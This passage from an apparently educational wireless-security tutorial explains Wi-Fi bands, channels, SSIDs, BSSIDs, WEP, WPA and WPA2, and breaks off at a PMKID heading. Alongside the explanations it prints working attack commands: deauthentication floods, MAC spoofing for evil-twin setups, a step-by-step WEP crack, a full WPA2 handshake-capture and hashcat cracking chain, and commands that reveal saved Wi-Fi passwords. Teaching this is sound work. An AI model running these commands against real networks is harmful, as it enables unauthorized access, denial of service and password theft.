Available channels      11 (3 non-overlap) 25 (9 non-overlap) 59 (all non-overlap)
Max speed              ~600 Mbps         ~3.5 Gbps         ~9.6 Gbps
Standard               802.11n and older  802.11a/n/ac/ax   802.11ax (6E) only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implications of Frequency:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz — The Double-Edged Frequency:

  Advantages for attackers:
    Longer range → attack from greater distance
    Better building penetration → attack from outside building
    More device compatibility → wider attack surface

  Advantages for defenders:
    Easier to survey (widely supported by monitoring hardware)

  Interference sources:
    Microwave ovens (2.45 GHz), Bluetooth (2.4 GHz),
    baby monitors, cordless phones, ZigBee (2.4 GHz)
    Interference can be used to cause denial of service

5 GHz — The Performance Frequency:

  Advantages for attackers:
    More channels = harder to survey completely without multiple adapters

  Advantages for defenders:
    Shorter range limits attacker's standoff distance
    Less interference = more reliable performance

6 GHz — The New Frontier (Wi-Fi 6E):

  Only 802.11ax devices support this band
  Requires WPA3 — attacker cannot use WPA2 downgrade attacks
  Very short range limits attack distance significantly
  All 59 channels are 20 MHz non-overlapping → efficient spectrum use
  Limited hardware support currently limits monitoring capability
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Channels and Their Security Relevance
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz channels (US: 1-11, Europe: 1-13, Japan: 1-14):

Channel: 1  2  3  4  5  6  7  8  9  10  11
         ├──────────┤
              ├──────────┤
                   ├──────────┤
                        ...

Non-overlapping channels (US): 1, 6, 11
Each channel: 20 MHz wide, centres 5 MHz apart → overlap

In a dense environment, having networks on channels 1, 6, 11 reduces
interference. Networks on intermediate channels (2-5, 7-10) interfere
with TWO non-overlapping channels simultaneously — bad design.

Security implication: Rogue AP placement on overlapping channels causes
interference with legitimate AP → partial DoS that forces clients to
roam to attacker-controlled AP.

5 GHz channels (subset):
  36, 40, 44, 48 (UNII-1 — indoor)
  52, 56, 60, 64 (UNII-2 — DFS required)
  100-144 (UNII-2C — DFS required)
  149, 153, 157, 161, 165 (UNII-3 — outdoor)

DFS (Dynamic Frequency Selection): required on some 5 GHz channels to
avoid interfering with radar systems. AP must monitor for radar and
switch channels if detected. Attackers can send fake radar signals
to force AP channel switches (channel flooding attack).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Survey available channels and signal strength:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iwlist wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Channel|Signal|ESSID|Frequency"&lt;/span&gt;

&lt;span class="c"&gt;# Airodump-ng channel hopping:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon                    &lt;span class="c"&gt;# Hops through all channels&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 wlan0mon        &lt;span class="c"&gt;# Lock to channel 6&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--band&lt;/span&gt; abg wlan0mon         &lt;span class="c"&gt;# Scan 2.4 + 5 GHz simultaneously&lt;/span&gt;

&lt;span class="c"&gt;# Check for radar detection events (DFS) on Linux:&lt;/span&gt;
iw dev wlan0 info | &lt;span class="nb"&gt;grep &lt;/span&gt;wiphy
iw phy phy0 info | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"DFS state"&lt;/span&gt;

&lt;span class="c"&gt;# Channel utilisation analysis (airspy-NG or similar):&lt;/span&gt;
&lt;span class="c"&gt;# High channel utilisation = interference = possible attack or congestion&lt;/span&gt;
&lt;span class="c"&gt;# Medium: 0-30% normal, 30-60% busy, 60%+ problematic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The 2.4 GHz band's long range and wall penetration means your corporate Wi-Fi network may be accessible from the car park, the street, or the neighbouring building. A standard Yagi antenna can extend this range to 1 km. The attacker does not need to be inside your perimeter. Physical security and wireless security are separate but complementary — a fence stops physical intrusion; wireless signals cross that fence freely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. SSID and BSSID — Wireless Identity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 SSID — Service Set Identifier
&lt;/h3&gt;

&lt;p&gt;The SSID is the human-readable name of a wireless network — what you see when you scan for Wi-Fi. It can be up to 32 bytes (not strictly characters — can include any bytes including null bytes).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSID Properties:
  Length: 0-32 bytes
  Characters: any (including non-printable, null bytes, special characters)
  Case-sensitive: "CorpWiFi" ≠ "corpwifi"
  Not unique: multiple APs can broadcast the same SSID (roaming design)
  Not authenticated: any AP can broadcast any SSID

SSID Broadcast — Beacon Frames:
  AP sends beacon frames ~10 times per second
  Beacons contain: SSID, BSSID, channel, supported rates, security info
  Visible to anyone with a wireless adapter in monitor mode

Hidden SSID (SSID cloaking):
  AP sends beacon with empty SSID field
  Network doesn't appear in normal scan results
  Security through obscurity — NOT a security control

Why hidden SSID fails:
  1. SSID appears in Probe Response frames when client connects
  2. SSID appears in client Probe Request frames (client broadcasts SSID it's looking for)
  3. Passive monitoring captures SSID the moment any client connects
  4. Tools: airodump-ng shows hidden SSIDs after capturing first connection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSID Security Attacks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover hidden SSIDs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Hidden SSIDs appear as: &amp;lt;length: X&amp;gt; where X = actual SSID length&lt;/span&gt;
&lt;span class="c"&gt;# Wait for a client to connect → SSID revealed in probe request/response&lt;/span&gt;

&lt;span class="c"&gt;# Force reveal of hidden SSID by sending deauth to clients:&lt;/span&gt;
&lt;span class="c"&gt;# When clients reconnect, they send probe requests with the SSID&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 5 &lt;span class="nt"&gt;-a&lt;/span&gt; BSSID_OF_HIDDEN_AP wlan0mon
&lt;span class="c"&gt;# -deauth 5: send 5 deauthentication frames&lt;/span&gt;
&lt;span class="c"&gt;# -a: target AP's MAC address&lt;/span&gt;

&lt;span class="c"&gt;# Monitor probe requests to see what networks clients are looking for:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Look at bottom section: "Probes" column shows networks clients have connected to&lt;/span&gt;
&lt;span class="c"&gt;# This is useful for:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Identifying hidden SSIDs&lt;/span&gt;
&lt;span class="c"&gt;# 2. Finding preferred networks for evil twin setup&lt;/span&gt;
&lt;span class="c"&gt;# 3. OSINT on users (what networks they've connected to)&lt;/span&gt;

&lt;span class="c"&gt;# SSID spoofing (setting up AP with same name as target):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hostapd /tmp/hostapd.conf
&lt;span class="c"&gt;# Where hostapd.conf sets ssid=TargetNetworkName&lt;/span&gt;
&lt;span class="c"&gt;# No cryptographic verification of SSID → any AP can claim any name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 BSSID — Basic Service Set Identifier
&lt;/h3&gt;

&lt;p&gt;The BSSID is the MAC address of the access point's wireless interface. It uniquely identifies a specific physical radio transmitter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BSSID Properties:
  Format: 6-byte MAC address (XX:XX:XX:XX:XX:XX)
  Typically matches AP's wireless NIC MAC address

  OUI (first 3 bytes) identifies manufacturer:
  00:1A:11 → Google (Pixel phones, Google Nest)
  00:50:56 → VMware
  3C:22:FB → Apple

  For APs:
  00:1C:0E → Cisco Linksys
  F8:1A:67 → TP-Link
  B4:FB:E4 → Ubiquiti

Multi-SSID / Virtual APs:
  One physical AP can broadcast multiple SSIDs simultaneously
  Each SSID gets its own BSSID (MAC address incremented by 1)
  Example:
    Physical AP MAC: 00:11:22:33:44:55
    Corporate SSID BSSID:    00:11:22:33:44:55
    Guest SSID BSSID:        00:11:22:33:44:56
    IoT SSID BSSID:          00:11:22:33:44:57
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;BSSID in Attack Context:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Use BSSID to identify AP manufacturer and potentially model:&lt;/span&gt;
&lt;span class="c"&gt;# OUI lookup:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import urllib.request
bssid = '00:1C:0E:12:34:56'
oui = bssid[:8].replace(':', '-').upper()
try:
    url = f'https://api.macvendors.com/{oui}'
    r = urllib.request.urlopen(url, timeout=3)
    print(f'Vendor: {r.read().decode()}')
except:
    print('OUI lookup failed')
"&lt;/span&gt;

&lt;span class="c"&gt;# Track a specific AP (lock airodump to specific BSSID):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--bssid&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="nt"&gt;-w&lt;/span&gt; capture wlan0mon
&lt;span class="c"&gt;# Captures only traffic from/to that specific AP&lt;/span&gt;
&lt;span class="c"&gt;# Useful for focused attack or analysis&lt;/span&gt;

&lt;span class="c"&gt;# BSSID spoofing — impersonate legitimate AP:&lt;/span&gt;
&lt;span class="c"&gt;# Tools set wireless adapter MAC to match target BSSID&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 down
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 address 00:1C:0E:12:34:55   &lt;span class="c"&gt;# Spoof MAC to match AP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 up
&lt;span class="c"&gt;# Now your adapter appears as the legitimate AP when transmitting&lt;/span&gt;
&lt;span class="c"&gt;# Foundation of evil twin attacks&lt;/span&gt;

&lt;span class="c"&gt;# GPS mapping of BSSID (wardriving):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0               &lt;span class="c"&gt;# Kismet with GPS records BSSID + GPS coords&lt;/span&gt;
&lt;span class="c"&gt;# Creates map of all wireless networks&lt;/span&gt;
&lt;span class="c"&gt;# Used for: site survey, finding coverage gaps, geolocation of rogues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Preferred Network List (PNL) — Client Device Attack Surface:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Every device stores a Preferred Network List:
  Networks the device has previously connected to
  Device automatically connects to known networks

Problem: Device probes for known networks:
  "Is CorpWiFi here?"
  "Is HomeNetwork here?"
  "Is Starbucks here?"

Attacker captures probe requests → knows all networks device has connected to
Attacker creates Evil Twin with any of those names → device may auto-connect

Windows PNL:
&lt;/span&gt;&lt;span class="gp"&gt;  netsh wlan show profiles                    #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;List saved networks
&lt;span class="gp"&gt;  netsh wlan show profile name="Corporate" key=clear  #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Show saved password!
&lt;span class="go"&gt;
Linux (NetworkManager):
&lt;/span&gt;&lt;span class="gp"&gt;  nmcli connection show                       #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;List saved connections
&lt;span class="gp"&gt;  ls /etc/NetworkManager/system-connections/  #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Configuration files with passwords
&lt;span class="go"&gt;
macOS:
  security find-generic-password -D "AirPort network password" -a "NetworkName" -w

Forensic relevance:
  PNL on confiscated device reveals travel history, home networks, work networks
  Can be used to attribute device to specific locations and organisations
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The SSID is not authenticated. Any AP can broadcast any SSID. The BSSID (MAC address) can be spoofed in software. Clients auto-connect to "known" networks based solely on SSID match. This combination — unauthenticated identity, spoofable address, automatic connection — is the foundation of nearly every wireless client-side attack. WPA3's approach of Simultaneous Authentication of Equals partially addresses this by making the handshake resistant to offline attacks even when SSID is spoofed.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Wireless Security Protocols — WEP to WPA3
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 WEP — Wired Equivalent Privacy (1997)
&lt;/h3&gt;

&lt;p&gt;WEP was the original 802.11 security protocol, intended to provide privacy equivalent to a wired network. It failed catastrophically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How WEP Works:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WEP Encryption:
  Key: 40-bit or 104-bit pre-shared key (PSK)
  IV:  24-bit Initialization Vector (randomly generated per packet)

  Encryption:
  ┌────────────────────────────────────────────────────────┐
  │  Keystream = RC4(IV + Key)                            │
  │  Ciphertext = Plaintext XOR Keystream                 │
  │  Transmitted: [IV (24 bits)][Ciphertext][ICV (CRC-32)]│
  └────────────────────────────────────────────────────────┘

  IV = 24 bits = 16,777,216 possible values
  On a busy network: IV repeats every ~5 hours (or less)
  When IV repeats: same keystream used for different plaintexts
  Keystream recovery: XOR two ciphertexts with same IV
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why WEP Is Broken:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Vulnerabilities:

1. Short IV (24 bits):
   IV reuse guaranteed on active networks
   IV of 0 to 16M → cycles completely in hours

2. RC4 weak keys ("related key" attack):
   Certain IV values create weak RC4 keystreams
   Statistical analysis of these weak keys reveals the WEP key
   Fluhrer, Mantin, Shamir (FMS) attack (2001)

3. CRC-32 is not cryptographically secure:
   CRC-32 provides error detection, not cryptographic integrity
   Attacker can modify ciphertext and update CRC correctly
   → Bit-flipping attacks possible without knowing the key

4. No mutual authentication:
   Client authenticates to AP, AP does not prove its identity to client

Attack timeline to crack WEP:
  Original FMS attack (2001): required ~4 million packets (~1 day)
  PTW attack (Tews, Weinmann, Pyshkin, 2007): 40,000-85,000 packets (~minutes)
  Aircrack-ng with PTW: WEP 64-bit cracked in ~60 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WEP cracking (educational — only on networks you own):&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Adapter: wlan0 → wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Find target WEP network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Note: BSSID, Channel, ESSID of target (ENC column shows WEP)&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Capture IVs for target network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--bssid&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="nt"&gt;-w&lt;/span&gt; wep_capture wlan0mon

&lt;span class="c"&gt;# Step 4: Accelerate IV collection via ARP replay attack&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--arpreplay&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;-h&lt;/span&gt; YOUR_MAC wlan0mon
&lt;span class="c"&gt;# ARP replay: capture one ARP packet, replay it → AP generates new IVs&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Crack when enough IVs collected (40,000+)&lt;/span&gt;
aircrack-ng wep_capture&lt;span class="k"&gt;*&lt;/span&gt;.cap
&lt;span class="c"&gt;# Typically cracks in &amp;lt;60 seconds with enough IVs&lt;/span&gt;

&lt;span class="c"&gt;# Detection of WEP cracking:&lt;/span&gt;
&lt;span class="c"&gt;# Extremely high data rates from specific client (ARP replay)&lt;/span&gt;
&lt;span class="c"&gt;# IDS alert on ARP replay (repeated identical ARP packets)&lt;/span&gt;
&lt;span class="c"&gt;# Wireless IDS: Kismet, AirDefense detect injection attacks&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 WPA — Wi-Fi Protected Access (2003)
&lt;/h3&gt;

&lt;p&gt;WPA was designed as a rapid fix for WEP's catastrophic failures while being deployable on existing WEP hardware via firmware update.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA Components:
  Protocol:    TKIP (Temporal Key Integrity Protocol)
  Key mixing:  Per-packet key mixing (prevents related key attacks)
  IV:          48-bit (vs WEP's 24-bit) — much larger keyspace
  Integrity:   Michael MIC (Message Integrity Code) — better than CRC-32
  Authentication: PSK (personal) or 802.1X/RADIUS (enterprise)

TKIP improvements over WEP:
  ✓ Per-packet key derived from base key + packet counter
  ✓ 48-bit IV → IV reuse extremely unlikely
  ✓ Michael MIC → detects packet modification

TKIP weaknesses (why WPA is deprecated):
  ✗ Still based on RC4 (flawed cipher)
  ✗ Michael MIC has known weaknesses (TKIP chop-chop attack)
  ✗ Beck-Tews and Ohigashi-Morii attacks (2009) against TKIP
  ✗ RC4 inherently weaker than AES

WPA should not be used today. WPA2 is the minimum.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. WPA2 — The Dominant Standard and Its Weaknesses
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 WPA2 Architecture
&lt;/h3&gt;

&lt;p&gt;WPA2 (IEEE 802.11i, ratified 2004) replaced the RC4/TKIP of WPA with AES/CCMP — a fundamentally stronger foundation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Key Hierarchy:
                    ┌──────────────────────────────────┐
                    │         PMK (Pairwise Master Key) │ 256 bits
                    │    Derived from: password + SSID  │
                    │    PSK: PBKDF2-SHA1(password,     │
                    │         SSID, 4096, 256 bits)     │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │    4-Way Handshake                │
                    │    Inputs: PMK + ANonce + SNonce  │
                    │    ANonce: AP's random number     │
                    │    SNonce: Client's random number │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │         PTK (Pairwise Transient Key)│
                    │    512 bits total, split into:    │
                    │    KCK (128): key confirmation    │
                    │    KEK (128): key encryption      │
                    │    TK  (128): traffic encryption  │
                    │    MIC (128): message integrity   │
                    └──────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 The 4-Way Handshake — WPA2's Critical Exchange
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AP (Authenticator)                         Client (Supplicant)
         │                                          │
         │── Message 1: EAPOL-Key ─────────────→   │
         │   [ANonce] (AP's random nonce)           │
         │   [Replay counter]                       │
         │                                          │
         │                                          │ Client computes PTK from:
         │                                          │ PMK + ANonce + SNonce + MACs
         │                                          │
         │ ←─ Message 2: EAPOL-Key ────────────── │
         │   [SNonce] (Client's random nonce)       │
         │   [MIC] (proves client knows PMK)        │
         │   [RSN IE] (security capabilities)       │
         │                                          │
         │ AP computes PTK, verifies MIC            │
         │                                          │
         │── Message 3: EAPOL-Key ─────────────→   │
         │   [GTK] (Group Temporal Key, encrypted)  │
         │   [MIC] (proves AP knows PMK)            │
         │   [Install flag]                         │
         │                                          │
         │ ←─ Message 4: EAPOL-Key ────────────── │
         │   [MIC] (acknowledges GTK)               │
         │                                          │
         │         [Encrypted session begins]       │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why the 4-Way Handshake Is the Primary Attack Target:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The 4-way handshake contains all the information needed to perform an offline dictionary attack on the PMK (which is derived directly from the password). An attacker who captures the handshake can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Take it offline&lt;/li&gt;
&lt;li&gt;For each candidate password: compute PMK → PTK → verify MIC&lt;/li&gt;
&lt;li&gt;If MIC matches: password found&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No interaction with the AP is needed after capture. The attack is rate-limited only by the attacker's hardware (GPU speed).&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 WPA2-Personal (PSK) Attack — Complete Walkthrough
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete WPA2-PSK attack chain:&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill&lt;/span&gt;           &lt;span class="c"&gt;# Kill interfering processes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0          &lt;span class="c"&gt;# Start monitor mode&lt;/span&gt;
&lt;span class="c"&gt;# Result: wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Survey the environment&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Look for target: ENC=WPA2, AUTH=PSK&lt;/span&gt;
&lt;span class="c"&gt;# Note: BSSID, channel, client stations (STA section at bottom)&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Target-specific capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Target AP MAC address&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# AP's channel&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# Output file prefix&lt;/span&gt;
    wlan0mon
&lt;span class="c"&gt;# Captures all traffic from target, saves to /tmp/capture-01.cap&lt;/span&gt;

&lt;span class="c"&gt;# Step 4a: Wait for organic client connection (passive)&lt;/span&gt;
&lt;span class="c"&gt;# OR Step 4b: Force client reconnection via deauthentication (active)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--deauth&lt;/span&gt; 1 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Send 1 deauth frame (gentle — more = DoS)&lt;/span&gt;
    &lt;span class="nt"&gt;-a&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 11:22:33:44:55:66 &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Specific client (optional — omit for broadcast)&lt;/span&gt;
    wlan0mon
&lt;span class="c"&gt;# Client is disconnected, automatically reconnects → handshake captured&lt;/span&gt;

&lt;span class="c"&gt;# Verify handshake capture (airodump shows WPA handshake top right):&lt;/span&gt;
&lt;span class="c"&gt;# "WPA handshake: AA:BB:CC:DD:EE:FF"&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Offline password cracking&lt;/span&gt;

&lt;span class="c"&gt;# Option A: Aircrack-ng (CPU-based)&lt;/span&gt;
aircrack-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# Wordlist&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Target BSSID&lt;/span&gt;
    /tmp/capture-01.cap
&lt;span class="c"&gt;# Speed: ~2,000-10,000 passwords/second on CPU&lt;/span&gt;

&lt;span class="c"&gt;# Option B: Hashcat (GPU-based — much faster)&lt;/span&gt;
&lt;span class="c"&gt;# First, convert cap to hashcat format:&lt;/span&gt;
hcxpcapngtool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/hash.hc22000 &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Output in hashcat format 22000&lt;/span&gt;
    /tmp/capture-01.cap                      &lt;span class="c"&gt;# Input capture&lt;/span&gt;

&lt;span class="c"&gt;# Crack with Hashcat:&lt;/span&gt;
hashcat &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 &lt;span class="se"&gt;\ &lt;/span&gt;                              &lt;span class="c"&gt;# WPA2 mode&lt;/span&gt;
    /tmp/hash.hc22000 &lt;span class="se"&gt;\ &lt;/span&gt;                     &lt;span class="c"&gt;# Input hash&lt;/span&gt;
    /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Wordlist&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best64.rule  &lt;span class="c"&gt;# Rules (transform wordlist entries)&lt;/span&gt;
&lt;span class="c"&gt;# Speed: ~1,000,000+ passwords/second on modern GPU (RTX 4090: ~2,000,000 H/s)&lt;/span&gt;

&lt;span class="c"&gt;# Option C: PMKID attack (no client needed — passive attack!)&lt;/span&gt;
&lt;span class="c"&gt;# More on PMKID in next section&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 PMKID Attack — The Game Changer (2018)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Discovered by Jens Steube (Hashcat author), August 2018:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Traditional WPA2 cracking required capturing a 4-way handshake, which required a client to connect. The PMKID attack requires NO CLIENT — just the AP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PMKID — Pairwise Master Key Identifier:
  Computed by AP in Message 1 of the 4-way handshake (and RSN IE)
  Formula: PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)

  Critically: PMKID contains enough information to verify a PMK guess
  without capturing the full 4-way handshake

  Since PMK = PBKDF2(password, SSID, 4096, 32):
  Attacker can attempt: compute PMK from password guess → compute expected PMKID
  If PMKID matches: password found

  Advantage:
  - No client required (single frame from AP sufficient)
  - Attack can begin immediately upon scanning
  - Cannot be prevented without upgrading to WPA3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PMKID attack:&lt;/span&gt;

